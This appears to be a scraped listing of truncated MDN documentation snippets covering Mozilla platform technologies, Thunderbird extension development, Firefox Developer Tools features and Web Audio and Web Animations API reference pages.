handler monitor progress during the execution of a statement. mozistoragestatementwrapper storage statement wrapper mozistorageservice storage service storage:performance how to get your database connection performing well. storage inspector extension makes it easy to view any sqlite database files in the current profile. sqlite syntax query language understood by sqlite sqlite database browser is a capable free tool available for many platforms. it can be handy for examining existing databases and testing sql statements. sqlite manager extension helps manage sqlite database files on your computer. ...
Troubleshooting XPCOM components registration
nsions/$plugindirectory/components! double check your guids in your install.rdf with your sourcecode, and then check them again. windows-specific hints use dependency walker to check that your dependent libraries are loaded correctly. in dependency walker, open the options menu and select configure module search order.... in the bottom right corner of the new dialog, click browse... and select the directory firefox.exe (or equivalent) is in. in the bottom left corner, click add directory. do not add any other directories; in particular, do not add your extension's (or xulrunner application's) components directory. after clicking ok in the top right, check for any missing dependencies using file -> open -> firefox.exe (or equivalent). also check that th...
Using IndexedDB in chrome
(see using indexeddb for an overview.) however, the apis can also be accessed from system-privileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ... ...
xptcall FAQ
st not enough. if anyone has credible ideas about how to get the required functionality in a cross platform way and/or without resorting to assembly code i'd love to hear about it. is xptcall a platform requirement for mozilla? yes. mozilla will not run properly without a functioning port of xptcall. non-functional stub code exists to allow building xptcall on non-supported platforms. but any browser feature that relies on xpconnect will fail. any platform that does not do xptcall is in trouble. we need to get moving on getting xptcall working everywhere! what platforms are supported? the growing list: porting status where can i find other resources? the code is at: xpcom/reflect/xptcall a new porting guide is at: https://developer.mozilla.org/en/xptcall_porting_guide pre-impleme...
XPCOM
faq and a porting guide. ...
Mozilla technologies
, a fast indexed search engine that runs on aws.xml extrasthe xml extras module contains several features that allow developers to treat xml as data i.e. not as just another document format. the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users. the xml extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds.xpcomxpcom is a cross platform component object model, similar to microsoft com. it has multiple language bindings, allowing xpcom components to be used and implemented in javascript, java, and python in addition to c++.xpidlxpidl is an interface description language used to specify xpcom interface classes.xray visiongecko runs javascript from...
The Valgrind Test Job
this job only runs on linux64, which is the platform best suited to running valgrind. running the valgrind test job locally valgrind works best on linux. it also works on mac, though sometimes not as well. building you need a valgrind-enabled build of firefox. add the following lines to your mozconfig file. ac_add_options --enable-valgrind ac_add_options --disable-jemalloc running to run the valgrind test job locally, run the following command. mach valgrind-test see also the general instructions for using valgrind with mozilla code. ...
Building a Thunderbird extension 1: introduction
ion and applications that are useful for testing and debugging thunderbird extensions, such as javascript consoles and xpcom inspectors. these are described on the page "setting up an extension development environment". documentation thunderbird extensions (documentation overview) firefox addons developer guide (many topics are applicable to thunderbird) mozilla cross-reference source code browser ("comm-central" contains the thunderbird code repository) community the thunderbird development community has a mailing list with an extensive searchable archive with an extensive searchable archive. you can also talk with the community on the #maildev irc channel. next » ...
Building a Thunderbird extension 5: XUL
to the thunderbird status bar. the status bar is implemented in a xul file called messenger.xul, which can be found in the chrome/messenger/content/messenger folder which is packaged inside the omni.ja archive. to view this xul file use the dom inspector extension (no longer supported) or look inside the omni.ja archive, which is located in the thunderbird program folder. omni.ja can be easily browsed by copying the file to a different location and renaming it to omni.zip. if you have trouble with one zip manager (like 7zip) try another (like winrar). in messenger.xul we find the status bar, which looks something like this.: <statusbar id="status-bar" ...> ... <statusbarpanel>s ... </statusbar> <statusbar id="status-bar"> is a "merge point" for a xul overlay. xul overlays are a way of at...
Use SQLite
ists logs (id unique, log)'); tx.executesql('insert into logs (id, log) values (1, "foobar")'); tx.executesql('insert into logs (id, log) values (2, "logmsg")'); msg = '<p>log message created and row inserted.</p>'; document.queryselector('#status').innerhtml = msg; }); db.transaction(function (tx) { tx.executesql('select * from logs', [], function (tx, results) { var len = results.rows.length, i; msg = "<p>found rows: " + len + "</p>"; document.queryselector('#status').innerhtml += msg; for (i = 0; i < len; i++){ msg = "<p><b>" + results.rows.item(i).log + "</b></p>"; document.queryselector('#status').innerhtml += msg; } }, null); }); ...
Theme Packaging
rd requires knowledge of cascading stylesheets (css), probably xbl, and some graphic design and aesthetic skill (...or maybe not). this document describes only how themes are packaged in order to be shown in firefox's themes window. theme file layout thunderbird themes are packaged in an xpi file with the following structure: theme.xpi: install.rdf preview.png icon.png chrome/ browser/files communicator/files global/files mozapps/files ... you must have a top-level chrome.manifest file which registers the chrome for the theme (as before) and also an install.rdf manifest that specifies metadata that is displayed in the appearance section of the add-ons manager. preview.png is a preview image which will show when double-clicked on a theme in the...
Tips and Tricks from the newsgroups
you can also help by creating how-tos from any of these topics. ...
Using the Multiple Accounts API
c flett <alecf@myisp.com>) +- identity 3 (alec flett <alecfnospam@myisp.com>) this is the internal structure that the mail client maintains, but it is presented to the user in a few different ways. (you may have noticed that identities 2 and 3 are shared between a few accounts...more on that later) servers servers are show in the folder pane, and in any place where the user must browse or choose folders, such as the new folder dialog, search, filters, etc. the view shows a flat, unified view of all the servers. the above example would look like this: alecf on imap.mywork.com +- inbox +- trash +- (etc) alecf on pop.myisp.com +- inbox +- trash +- (etc) news.myisp.com +- comp.os.linux.announce +- etc.. news.mozilla.org +- netscape.public.mozilla.announce +-...
Thunderbird
thunderbird is a mail/messaging application managed and developed by the thunderbird community. these pages document thunderbird and the mailnews backend which is also used in other projects such as seamonkey and postbox. thunderbird is built on the same technical platform as the firefox web browser. currently one of the most popular open source email clients, it is used by tens of millions of people around the world to bring together all their email accounts, chat, newsgroup and feed reading in a familiar high-productivity environment. (from early 2007 to early 2011 thunderbird was developed by mozilla messaging, a subsidiary owned by mozilla.) documentation building thunderbird information about building thunderbird with the comm-central repository. th...
Add to iPhoto
of("/")+1); // build the path to download to var dest = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .get("tmpd", components.interfaces.nsifile); dest.append(filename); dest.createunique(dest.normal_file_type, 0600); var wbp = components.classes['@mozilla.org/embedding/browser/nswebbrowserpersist;1'] .createinstance(components.interfaces.nsiwebbrowserpersist); var ios = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri(src, document.characterset, gbrowser.selectedbrowser.contentdocument.documenturiobject); wbp.persistflags &= ~components.interfaces.nsiwebbrowser...
Declaring and Using Callbacks
must be convertible to the return type of the callback: function myjscallback() { throw "uh oh"; }; var callback1 = funcptrtype(myjscallback, null, -1); // returns -1 to the native caller when the exception is thrown. warning: you must store a reference to the callback object as long as the native code might call it. if you don't, the gc might collect the relevant data structures, and the browser will crash when native code attempts to invoke your callback. arguments and return values js-ctypes automatically handles the conversion between javascript and c value representations. before the javascript callback function is invoked, js-ctypes converts the arguments passed by the caller to javascript values. where possible, js-ctypes will convert arguments to primitive types. for arguments...
UInt64
alue a string representation of the value in the specified radix. this string consists of a leading minus sign, if the value was negative, followed by one or more lower-case digits in the specified radix. arithmetic operations const uint64 = ctypes.uint64; const int64 = ctypes.int64; function ensureuint64(aarr) { // makes elements in aarr a uint64 if it can be made, else throws for (var i=0; i<aarr.length; i++) { var ccon = aarr[i].constructor.name; if (ccon != 'uint64') { if (['string', 'number'].indexof(ccon) > -1) { aarr[i] = uint64(aarr[i]); } else { throw new error('invalid type at position ' + i + ' it must be a numeric string, a number, or a uint64. type is "' ...
Structures - Plugins
s a rectangular area of a page. npregion represents a platform-defined region of a page. npsaveddata block of instance information saved after the plug-in is deleted; can be returned to the plug-in. npsetwindowcallbackstruct contains information about the plug-in's unix window environment. npstream represents a stream of data either produced by the browser and consumed by the plug-in, or produced by the plug-in and consumed by the browser. npwindow contains information about the target into which the plug-in instance can draw. « previousnext » ...
Plugin Roadmap for Firefox - Plugins
plugins are a security and performance problem for firefox users. npapi plugins are an obsolete technology, and mozilla has been moving toward a web which doesn't need plugins. the last remaining npapi plugin, adobe flash, has announced an end-of-life plan. to support the transition away from flash, firefox is working with other browsers to progressively and carefully make flash usage less common. below is the roadmap of past and future support for plugins in firefox. schedule june 2016 starting with firefox 47 in june 2016, all plugins other than adobe flash are click-to-activate. users choose which sites are allowed to activate each plugin. in addition, the 64-bit firefox for windows only supports the flash plugin. march 2017 starting with firefox 52 in march 2017, plugins ot...
Wait-cursor - XUL
maybe i'm missing something here, but window.setattribute(...) throws an error. i'm using window.setcursor('wait') and window.setcursor('auto') for get this effect. - ng.mangine ...
DOM Inspector FAQ - Firefox Developer Tools
how do i inspect a web site/window? the file menu contains approaches which will allow you to inspect a document. inspect content document inspect content, e.g., unprivileged web pages loaded in a browser tab. inspect chrome document inspect application chrome, including open xul windows, e.g., the browser window. inspect a url this just focuses the dom inspector's address bar, which allow you to inspect arbitrary documents which can be accessed via a url. this causes the document to be loaded in the browser pane. these can include chrome documents, but it's not suggested that you inspect xul documents by directly inspecting them via url, since some behavior may rely on the document being contained in another xul document, or the converse, where it won't behave correctly becau...
Inspecting web app manifests - Firefox Developer Tools
you also need to make sure the json inside the file is of the correct format. you can test this using the web manifest validator. inspecting your manifest if your manifest is deployed successfully, you should end up with a display like the following on the manifest view: from h...
Debugging service workers - Firefox Developer Tools
cannot show network requests from a service worker running in a different process to the application (bug 1432311). finding registered service workers on other domains as mentioned above, the service worker view of the application panel shows all the service workers registered on the current domain. if you want to see a list of information concerning all the service workers registered on your browser, you can visit about:debugging#/runtime/this-firefox. below the list of installed extensions you'll find a list of all the service workers you have registered. ...
DOM Property Viewer - Firefox Developer Tools
l settings and check the "dom" box under "default firefox developer tools". opening the dom property viewer once enabled, you can open the dom property viewer by selecting "dom" from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its ctrl + shift + w keyboard shortcut. the toolbox will appear at the bottom of the browser window, with the dom property viewer activated. it's just called "dom" in the toolbox. dom property viewer user interface dom tree the different properties of the dom are displayed as an expandable tree. the left-hand side shows the property's name, and the right-hand side shows its value. up to three properties of an object and items of an array are displayed. if a property has more element...
Search - Firefox Developer Tools
press return to search. ...
Set a conditional breakpoint - Firefox Developer Tools
nly happen on odd entries in a list, or errors that occur the last time through a loop, for example. to set a conditional breakpoint, activate the context menu in the source pane, on the line where you want the breakpoint, and select "add conditional breakpoint". you'll then see a textbox where you can enter the expression. press return to finish. conditional breakpoints are shown as orange arrows laid over the line number. if you context-click on any breakpoint, you'll see a menu item "edit breakpoint". you can use this to modify an existing condition or to add a condition to a normal breakpoint. ...
Step through code - Firefox Developer Tools
here is that if you've got your devtools open in a separate window, as many people do, it can be easier to have the buttons available right there to move the code forward while you are looking at the result. if you want to turn this feature off, since firefox 71 you can do so by going to about:config in a new tab, setting the devtools.debugger.features.overlay pref to false, and restarting the browser. inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through. see set a breakpoint > inline variable preview for more information. ...
Use a source map - Firefox Developer Tools
the javascript sources executed by the browser are often transformed in some way from the original sources created by a developer. for example: sources are often combined and minified to make delivering them from the server more efficient. javascript running in a page is often machine-generated, as when compiled from a language like coffeescript or typescript. in these situations, it's much easier to debug the original source, rather than the source in the transformed state that the browser has downloaded. a source map is a file that maps from the transformed source to the original source, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger. to enable the debugger to work with a source map, you must: generate the source map ...
Set event listener breakpoints - Firefox Developer Tools
listener to achieve the same effect. if however you have multiple elements, all of which have event listeners attached that you want to break on, this becomes an enormous time saver. this is also useful when debugging code that you're unfamiliar with, to save time over hunting down your event handler within your code, or when trying to understand why a web site isn't working as expected in your browser. use event breakpoints to stop execution at the triggering event for the action that fails, then step through the code or watch the console to see what happens. logging on events in firefox 71 onwards, the “log” checkbox is available in the event listener breakpoints list. selecting this and then choosing some events to break on will mean that when you step through code, information about...
Debugger.Object - Firefox Developer Tools
f other kinds of objects. the descriptions use “referent” to mean “the referent of this debugger.object instance”. unless otherwise specified, these methods are not invocation functions; if a call would cause debuggee code to run (say, because it gets or sets an accessor property whose handler is debuggee code, or because the referent is a proxy whose traps are debuggee code), the call throws a debugger.debuggeewouldrun exception. these methods may throw if the referent is not a native object. even simple accessors like isextensible may throw if the referent is a proxy or some sort of exotic object like an opaque wrapper. getproperty(key, [receiver]) return a completion value with "return" being the value of the referent's property named key, or undefined if it has no such proper...
JSON viewer - Firefox Developer Tools
fore firefox 53, the json viewer is enabled by default only in firefox developer edition and firefox nightly. to enable this feature in other release channels, set the devtools.jsonview.enabled preference to true. from firefox 53 onwards, the json viewer is also enabled by default in beta and the normal release version of firefox. firefox includes a json viewer. if you open a json file in the browser, or view a remote url with the content-type set to application/json, it is parsed and given syntax highlighting. arrays and objects are shown collapsed, and you can expand them using the "+" icons. the json viewer provides a search box that you can use to filter the json. you can also view the raw json and pretty-print it. finally, if the document was the result of a network request, the v...
Aggregate view - Firefox Developer Tools
his is the default view, which looks something like this: it groups the things on the heap into types, including: javascript objects: such as function or array dom elements: such as htmlspanelement or window strings: listed as "strings" javascript sources: listed as "jsscript" internal objects: such as "js::shape". these are prefixed with "js::". each type gets a row in the table, and rows are ordered by the amount of memory occupied by objects of that type. for example, in the screenshot above you can see that javascript objects account for most memory, followed by strings. the "total count" column shows you the number of objects of each category that are currently allocated. the "total bytes" column shows you the number of bytes occupied by objects in each category, and that ...
Inspecting web sockets - Firefox Developer Tools
tering web socket frames to focus on specific messages, frames can be filtered using the filter at the top of the messages panel. there are also predefined filters, available in the tool bar of the response pane, grouped into a selection list. the following filters are available: all displays all messages (by default, except control messages). sent displays only messages sent by the browser (by default, except control messages). received displays only messages received from the server (by default, except control messages). control (available starting in firefox 76). displays messages for control frames (ping, pong, or close). this filter can be combined with the others, to display, for example, only messages for control frames sent by the browser. columns in the response pan...
Performance Analysis - Firefox Developer Tools
the network monitor includes a performance analysis tool, to help show you how long the browser takes to download the different parts of your site. using the performance analysis tool to run the performance analysis tool click the stopwatch icon in the toolbar. (alternatively, if you have only just opened the network monitor, so it's not yet populated with the list of requests, you'll get a stopwatch icon in the main window.) the network monitor then loads the site twice: once with an empty browser cache, and once with a primed browser cache. this simulates the first time a user visits your site, and subsequent visits. it displays the results for each run side by side, or vertically if the browser window is narrow: the results for each run are summarised in a table and a pie chart. the...
Network request details - Firefox Developer Tools
ill also show this information when entries in the network monitor timeline graph are moused over (see bug 1580493). request timing the request timing section breaks a network request down into the following subset of the stages defined in the http archive specification: name description blocked time spent in a queue waiting for a network connection. the browser imposes a limit on the number of simultaneous connections that can be made to a single server. in firefox this defaults to 6, but can be changed using the network.http.max-persistent-connections-per-server preference. if all connections are in use, the browser can't download more resources until a connection is released. dns resolution time taken to resolve a host name. ...
Network Monitor - Firefox Developer Tools
nitor there are a few different ways to open the network monitor: press ctrl + shift + e ( command + option + e on a mac). select "network" from the web developer menu, (which is a submenu of the tools menu on os x and linux). click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "network". the network monitor will appear at the bottom of the browser window. when it first opens, the network monitor does not show request information. the just opened tool looks like this: either action causes the network monitor to begin monitoring network activity. once the tool is monitoring network requests, the display looks like this: when it is actively monitoring activity, the network monitor records network requests any time the toolbox is open,...
Page inspector 3-pane mode - Firefox Developer Tools
w mode available — 3-pane mode. when activated, this allows you to see the following simultaneously: the html pane on the left hand side, as usual. the css rules in the middle in their own separate pane, rather than as a tab. the other css related features — such as computed styles view, animations view, and fonts view — in tabs on the right hand side, as usual. note: at narrower browser window widths, the tabs appear below the css rules pane. having the css rules in their own pane is very useful because it allows you to not only inspect your html and edit the css applied to it, but also see the effect this has on css features such as computed styles and grids in real time. you just need to have the relevant tab open to see the effect. a brief walkthrough the 3-pane inspect...
Edit CSS filters - Firefox Developer Tools
selected the effect you want to add, click the plus sign (+) to the right of the dropdown list. once you have added an effect, enter the settings you want and then press enter to update the effect. the change will be apparent as soon as youpress enter. saving filter presets from firefox 42 onwards, you can also add filters to a list of presets. the list of presets will be preserved between browser sessions, making it easy to apply the settings in the future. you can save the current filter to the preset list: click to edit the filter, display the preset list by clicking the icon as shown below. type a name for your preset, and then click the plus sign to add it to the list of presets. you can then apply saved filters to new elements. to apply one of your saved presets, click its na...
Edit Shape Paths in CSS - Firefox Developer Tools
...
Examine and edit HTML - Firefox Developer Tools
ord custom the source for the element's class will be displayed in the debugger. whitespace-only text nodes web developers don’t write all their code in just one line of text. they use white space such as spaces, returns, or tabs between their html elements because it makes markup more readable. usually this white space seems to have no effect and no visual output, but in fact, when a browser parses html it will automatically generate anonymous text nodes for elements not contained in a node. this includes white space (which is after all a type of text). if these auto generated text nodes are inline level, browsers will give them a non-zero width and height. then you will find strange gaps between elements, even if you haven’t set any margin or padding on them. since firefox 52,...
Open the Inspector - Firefox Developer Tools
there are two main ways to open the inspector: choose tools > web developer > inspector from the menu bar or the equivalent keyboard shortcut. right-click an element on a web page and select inspect element. the inspector will appear at the bottom of the browser window: you can also set the pane to appear at the left side of the browser window: to the right side of the browser window: or in a separate window: to start finding your way around the inspector, see the ui tour. ...
Use the Inspector API - Firefox Developer Tools
attributes and functions: .selection - information about the inspector's selection: .isnode() - returns true if selection is node. .node - returns the actual element from the page .window - the window object of the frame the selection is in. .markdirty() - marks that the page has been changed by the inspector - a warning will be shown when leaving the page, since changes made through the inspector are rewritten on reload. ...
Allocations - Firefox Developer Tools
. each row represents a function in which at least one allocation-sample was taken during the recording. it includes the following columns: self count: the number of allocation-samples that were taken in this function (also shown as a percentage of the total) self bytes: the total number of bytes allocated in the allocation-samples in this function (also shown as a percentage of the total) rows are sorted by the "self bytes" column. so in the example above: 8904 samples were taken in signallater(), which is 28.57% of the total number of samples taken those samples allocated 1102888 bytes, which is 30.01% of the total memory allocated in all samples next to each function name is a disclosure arrow. click this to see the places this function was called from: here you can see tha...
Debugging Firefox Desktop - Firefox Developer Tools
this guide explains how you can use the firefox developer tools to debug a different instance of desktop firefox running on the same machine. in this guide, the instance of firefox being debugged is called the debuggee, and the instance of firefox doing the debugging is called the debugger. enable remote debugging first, you'll need to ensure that both debugger and debuggee have the "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging" settings checked in the developer tools settings. you only need to do this once: the setting values persist across restarts. start the debugger server next, you need to start the debugger server in the debuggee. run the debuggee from the command line, passing it the --start-debugger-server option: /path/to/firefox --sta...
Shader Editor - Firefox Developer Tools
note: this tool has been deprecated and will soon be removed from firefox. for details, see deprecated tools. the shader editor enables you to see and edit the vertex and fragment shaders used by webgl. webgl is a javascript api for rendering interactive 3d graphics and 2d graphics in the browser without using plugins. with webgl you provide 2 programs called shaders which are called at the appropriate stages of the opengl rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn. these shaders are written in opengl shading language, or glsl. in webgl they can be included in a page in several ways: as text hardcoded in javascript strings, as separate files i...
Cookies - Firefox Developer Tools
l cookies from the selected domain. ...
Storage Inspector - Firefox Developer Tools
ew of storage. but we're working to let you edit storage contents in future releases. opening the storage inspector you can open the storage inspector by selecting "storage inspector" from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its shift + f9 keyboard shortcut. the toolbox will appear at the bottom of the browser window, with the storage inspector activated. it's just called "storage" in the developer toolbox. storage inspector user interface the storage inspector ui is split into three main components: storage tree table widget sidebar storage tree the storage tree lists all the storage types that the storage inspector can inspect: under each type, objects are organized by origin. for ...
Style Editor - Firefox Developer Tools
style editor enables you to: view and edit all the stylesheets associated with a page create new stylesheets from scratch and apply them to the page import existing stylesheets and apply them to the page to open the style editor choose the "style editor" option from the "web developer" menu (which is a submenu in the "tools" menu on the mac). the toolbox will appear at the bottom of the browser window, with the style editor activated: the style editor is divided into three main sections: the style sheet pane on the left the editor on the right the media sidebar. the style sheet pane the style sheet pane, on the left, lists all the style sheets being used by the current document. you can quickly toggle the use of a given sheet on and off by clicking the eyeball icon to the l...
Taking screenshots - Firefox Developer Tools
con: to take a full-page screenshot of the current page. by default, the screenshot icon is not enabled. to enable it: visit the settings page find the section labeled "available toolbox buttons" check the box labeled "take a screenshot of the entire page". you'll now see the icon in the toolbar: click the icon to take a screenshot of the current page. the screenshot is saved to your browser's "downloads" directory: taking a screenshot of an element to take a screenshot of a single element in the page, activate the context menu on that element in the inspector's html pane, and select "screenshot node". the screenshot is saved to the browser's "downloads" directory: copying screenshots to the clipboard from firefox 53, you can also copy the screenshot to the clipboard. just ...
Tips - Firefox Developer Tools
dn page describing the available commands. :screenshot <filename.png> --fullpage saves a screenshot to your downloads directory using the optional file name. if no filename is included, the file name will be in this format: screen shot date at time.png the --fullpage parameter is optional. if you include it, the screenshot will be of the whole page, not just the section visible in the browser windows. the file name will have -fullpage appended to it as well. see web console helpers for all parameters. in the console output: click on the inspector icon () next to an element in the output to select it within the inspector. check "enable persistent logs" in the settings to keep logged messages from before even after navigation. check "enable timestamps" in the settings to show t...
Validators - Firefox Developer Tools
adds a submenu to your netscape or mozilla context menu that allows you to run whatever page you're on through one of (currently) 18 different online validaton and analysis services. applications and services devedge web tune-up wizard this interface to w3c services guides beginning-to-intermediate web authors through the process of updating content to support netscape 7.x, mozilla and other browsers that support w3c standards. w3c html validator the w3c html validator will validate any web page according to the w3c html standards. it is very useful for detecting the use of proprietary html as well as invalid html. w3c css validator the w3c css validator will validate the css within any web page or external css files according to the w3c css standards. w3c rdf validator the rdf valid...
View Source - Firefox Developer Tools
lights parsing errors in red. hovering your mouse over errors displays a tooltip explaining the error. this feature is useful when you're looking for html errors. to access go to line from the keyboard, press control + option + l on macos, or alt + shift + l on windows or linux. link to a line number it is possible to link to a particular line, by adding the #linennn anchor to the url the browser will jump to the nnn line. for example view-source:https://www.mozilla.org/#line100 view selection source if you select part of a web page and conext-click, you'll see a context menu item labeled "view selection source", that behaves just like "view page source", except you only see the source for the selection. view mathml source if you context-click while the mouse is over some mathml, y...
Web Console - Firefox Developer Tools
keyboard shortcuts shortcut reference. opening the web console you open the web console from a menu or with a keyboard shortcut: choose web console from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on mac os x) press the ctrl+shift+k (command+option+k on os x) keyboard shortcut. the toolbox appear at the bottom, left, or right of the browser window (depending on your docking settings), with the web console activated (it's just called console in the devtools toolbar). ...
Ambient Light Events - Web APIs
the ambient light events are a handy way to make a web page or an application aware of any change in the light intensity. it allows them to react to such a change, for example by changing the color contrast of the user interface (ui) or by changing the exposure necessary to take a picture. light events when the light sensor of a device detects a change in the light level, it notifies the browser of that change. when the browser gets such a notification, it fires a devicelightevent event that provides information about the exact light intensity (in lux units). this event can be captured at the window object level by using the addeventlistener method (using the devicelight event name) or by attaching an event handler to the window.ondevicelight property. once captured, the event object...
AnalyserNode.AnalyserNode() - Web APIs
ft analysis. the default is -100. smoothingtimeconstant: the desired initial smoothing constant for the fft analysis. the default is 0.8. return value a new analysernode object instance. specifications specification status comment web audio apithe definition of 'analysernode() constructor' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanalysernode() construc...
Animation.currentTime - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animation.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled animation.currenttime; // 49.8 // 50.6 // 51.7 // ... in firefox, yo...
Animation.onremove - Web APIs
sole.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves. the event handler sets up an animation that animates the <div> element to the position of the mouse pointer. this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. a console message is logged each time an animation it removed, invoked when the remove event is fired. specifications specification status comment web animationsthe definition of 'animation.onremove' in that specification. working draft editor's draft. ...
Animation.pause() - Web APIs
Web › API › Animation › pause
the pause() method of the web animations api's animation interface suspends playback of the animation. syntax animation.pause(); parameters none. return value none. exceptions invalidstateerror the animation's currenttime is unresolved (for example, if it's never been played or isn't currently playing) and the end time of the animation is positive infinity. throws an invalidstateerror if the animation's currenttime is unresolved (perhaps it hasn't started playing yet) and the end time of the animation is positive infinity. example animation.pause() is used many times in the alice in web animations api land growing/shrinking alice game, largely because animations created with the element.animate() method immediately start playing and must be paused manually if you want to avo...
Animation.startTime - Web APIs
= newcat.animate(keyframes, timing); // set the animation's start time to be the same as the original .cat#withwaapi newanimationplayer.starttime = catrunning.starttime; // add the cat to the pile. waapicats.appendchild(newcat); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.starttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animation.starttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled animation.starttime; // 49.8 // 50.6 // 51.7 // ... in firefox, you ca...
AnimationPlaybackEvent.currentTime - Web APIs
of the animation that generated the event at the moment the event is queued. this will be unresolved if the animation was idle at the time the event was generated. value a number representing the current time in milliseconds, or null. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of playbackevent.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 playbackevent.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled playbackevent.currenttime; // 49.8 // 50.6 // 51.7 // ... in fir...
AnimationTimeline.currentTime - Web APIs
ent time in milliseconds, or null if the timeline is inactive. syntax var currenttime = animationtimeline.currenttime; value a number representing the timeline's current time in milliseconds, or null if the timeline is inactive. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animationtimeline.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animationtimeline.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled animationtimeline.currenttime; // 49.8 // 50.6 // 51.7 // ... ...
Attr.namespaceURI - Web APIs
Web › API › Attr › namespaceURI
amespaceuri read-only property returns the namespace uri of the attribute, or null if the element is not in a namespace. before dom4 this api was defined within the node interface. syntax namespace = attribute.namespaceuri example in this snippet, an attribute is being examined for its localname and its namespaceuri. if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>. if (attribute.localname == "value" && attribute.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul value } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope. the namespace uri of an attribute is f...
AudioBuffer() - Web APIs
gative or otherwise has an invalid value (such as numberofchannels being higher than supported, or a samplerate outside the nominal range). rangeerror there isn't enough memory available to allocate the buffer. specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobuffer() construct...
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
stream. its default value is 1. this parameter is k-rate. this is a compound parameter with detune. its nominal range is (-∞ to +∞). return value a new audiobuffersourcenode object instance. specifications specification status comment web audio apithe definition of 'audiobuffersourcenode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobuffersourcenode()...
AudioContext.close() - Web APIs
bjects, unless other references have been released as well; however, it will forcibly release any system audio resources that might prevent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data. the returned promise resolves when all audiocontext-creation-blocking resources have been released. this method throws an invalid_state_err exception if called on an offlineaudiocontext. syntax var audioctx = new audiocontext(); audioctx.close().then(function() { ... }); await audioctx.close(); returns a promise that resolves with void. example the following snippet is taken from our audiocontext states demo (see it running live.) when the stop button is clicked, close() is called. when the promise resolve...
AudioContext.createMediaStreamSource() - Web APIs
so playing/pausing the stream can still be done through the media element api and the player controls. specifications specification status c...
AudioContext.getOutputTimestamp() - Web APIs
ttimestamps() { let ts = audioctx.getoutputtimestamp() console.log('context time: ' + ts.contexttime + ' | performance time: ' + ts.performancetime); raf = requestanimationframe(outputtimestamps); } specifications specification status comment web audio apithe definition of 'getoutputtimestamp()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetoutputtimestamp expe...
AudioContext.outputLatency - Web APIs
it varies depending on the platform and the available hardware. syntax var outputlatency = audioctx.outputlatency; value a double representing the output latency in seconds. ...
AudioContext - Web APIs
current audio context. audiocontext.resume() resumes the progression of time in an audio context that has previously been suspended/paused. audiocontext.suspend() suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process. examples basic audio context declaration: var audioctx = new audiocontext(); cross browser variant: var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); var finish = audioctx.destination; // etc. specifications specification status comment web audio apithe definition of 'audiocontext' in that specification. working d...
AudioContextOptions.latencyHint - Web APIs
